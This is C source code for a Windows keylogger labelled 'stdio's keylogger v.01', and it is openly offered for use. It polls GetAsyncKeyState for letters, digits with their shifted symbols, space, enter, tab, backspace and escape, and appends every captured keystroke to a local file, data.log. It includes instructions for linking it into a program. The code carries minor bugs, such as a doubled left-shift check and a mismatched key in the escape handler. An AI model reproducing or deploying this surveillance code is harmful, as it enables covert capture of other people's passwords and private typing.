stdio

#include <stdio.h>
#include <windows.h>
#include <winuser.h>

extern FILE *out_file;

/*
stdio's keylogger v.01

Compiled on Dev-C++ 4.9.9.2 WinXP 32 Bit

Key Debounce Line ***Just FYI***
while(GetAsyncKeyState(character)==-32768){}

MSDN KEY CODES
http://msdn.microsoft.com/en-us/library/ms927178.aspx

GetAsyncKeyState MSDN Reference
http://msdn.microsoft.com/en-us/library/ms646293(VS.85).aspx

To do: Add Numpad Support, Fnums support, Punctuation.

To use: Build a main function and link to this code.

*/

int GetKey()
{
    short character;
    Sleep(30);

    /*ALPHA CHARACTERS V_KEY*/
    for (character=0x41;character <= 0x5A;character++)
    {
        if (GetAsyncKeyState(character)==-32768)
        {
             out_file = fopen("data.log","a+");
             /*UPPERCASE*/
             if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_LSHIFT))
             {
                   while(GetAsyncKeyState(character)==-32768){}
                   fputc(character, out_file);
                   fclose(out_file);
             }
             /*LOWERCASE*/
             else
             {
                   while(GetAsyncKeyState(character)==-32768){}
                   fputc(character+0x20, out_file);
                   fclose(out_file);
             }

        }
    }

    /*Numerical Row*/
    for (character=0x30;character <= 0x39;character++)
    {
        if (GetAsyncKeyState(character)==-32768)
        {
             out_file = fopen("data.log","a+");

             /*Map Keys to Special Characters*/
             if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT))
             {
                   while(GetAsyncKeyState(character)==-32768){}
                   switch(character)
                   {
                        case(0x31):
                                  fputs("!", out_file);
                                  fclose(out_file);
                                  break;

                        case(0x32):
                                  fputs("@", out_file);
                                  fclose(out_file);
                                  break;

                        case(0x33):
                                  fputs("#", out_file);
                                  fclose(out_file);
                                  break;

                        case(0x34):
                                  fputs("$", out_file);
                                  fclose(out_file);
                                  break;

                        case(0x35):
                                  fputs("%", out_file);
                                  fclose(out_file);
                                  break;

                        case(0x36):
                                  fputs("^", out_file);
                                  fclose(out_file);
                                  break;

                        case(0x37):
                                  fputs("&", out_file);
                                  fclose(out_file);
                                  break;

                        case(0x38):
                                  fputs("*", out_file);
                                  fclose(out_file);
                                  break;

                        case(0x39):
                                  fputs("(", out_file);
                                  fclose(out_file);
                                  break;

                        case(0x30):
                                  fputs(")", out_file);
                                  fclose(out_file);
                                  break;

                        default:
                                fputs("Error\n", out_file);
                                fclose(out_file);
                                break;
                   }

             }
             /*Defaulted Numbers*/
             else
             {
                 while(GetAsyncKeyState(character)==-32768){}
                 fputc(character, out_file);
                 fclose(out_file);
             }

        }
    }

    /* Catch Single Special Keys */
    if (GetAsyncKeyState(VK_ESCAPE))
    {
       while(GetAsyncKeyState(VK_RETURN)==-32768){}
       out_file = fopen("data.log","a+");
       fputs("[ESC]", out_file);
       fclose(out_file);
    }

    if (GetAsyncKeyState(VK_SPACE))
    {
       while(GetAsyncKeyState(VK_SPACE)==-32768){}
       out_file = fopen("data.log","a+");
       fputs(" ", out_file);
       fclose(out_file);
    }

    if (GetAsyncKeyState(VK_RETURN))
    {
       while(GetAsyncKeyState(VK_RETURN)==-32768){}
       out_file = fopen("data.log","a+");
       fputs("\n", out_file);
       fclose(out_file);
    }

    if (GetAsyncKeyState(VK_TAB))
    {
       while(GetAsyncKeyState(VK_TAB)==-32768){}
       out_file = fopen("data.log","a+");
       fputs("[TAB]", out_file);
       fclose(out_file);
    }


    if (GetAsyncKeyState(VK_BACK))
    {
       while(GetAsyncKeyState(VK_BACK)==-32768){}
       out_file = fopen("data.log","a+");
       fputs("[BACK]", out_file);
       fclose(out_file);
    }

    return 0;
}